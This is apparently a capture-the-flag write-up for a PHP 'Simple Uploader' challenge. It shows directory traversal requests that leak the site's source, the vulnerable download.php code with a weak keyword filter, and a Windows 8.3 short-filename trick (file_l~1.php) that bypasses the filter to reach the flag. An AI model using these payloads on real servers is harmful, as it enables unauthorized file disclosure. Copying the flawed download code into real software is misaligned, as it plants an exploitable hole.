The challenge website looked like this:

The download links had the following format: download.php?f=test.cpp

The script was vulnerable to directory traversal, allowing us to get the source of the index page by requesting download.php?f=../index.php which gave us the following source code:

    <h1>Simple Uploader</h1>
    <p>There are no upload features.</p>
    <table width="100%" border="1">
              <?php foreach($files as $file): ?>
    <?php if($file[0]) continue; // visible flag ?>  
            <td><?= $file[1]; ?></td>
            <td><?= $file[2]; ?></td>
            <td><?= $file[3]; ?> bytes</td>
            <td><a href="download.php?f=<?= $file[4]; ?>">Download</a></td>
          <?php endforeach;?>

And download.php via download.php?f=../download.php:

header("Content-Type: application/octet-stream");
if(stripos($_GET['f'], 'file_list') !== FALSE) die();
readfile('uploads/' . $_GET['f']); // safe_dir is enabled. 

Clearly the goal is getting the contents of file_list.php, but the download script checks if requested filename contains 'file_list'. After some thinking and realizing the server is running Windows, we decided to try converting the filename to 8.3 / short filename. We requested download.php?f=../file_l~1.php and got file_list.php's source:

$files = [
  [FALSE, 1, 'test.cpp', 1135, 'test.cpp'],
  [FALSE, 2, 'test.c', 74, 'test.c'],
  [TRUE, 3, 'flag_c82e41f5bb7c8d4b947c9586444578ade88fe0d7', 35, 'flag_c82e41f5bb7c8d4b947c9586444578ade88fe0d7'],
  [FALSE, 4, 'test.rb', 1446, 'test.rb'],

Having the flag's filename, we downloaded it by requesting download.php?f=flag_c82e41f5bb7c8d4b947c9586444578ade88fe0d7 and received the flag: TWCTF{Hotto_Smile}

Next Post Previous Post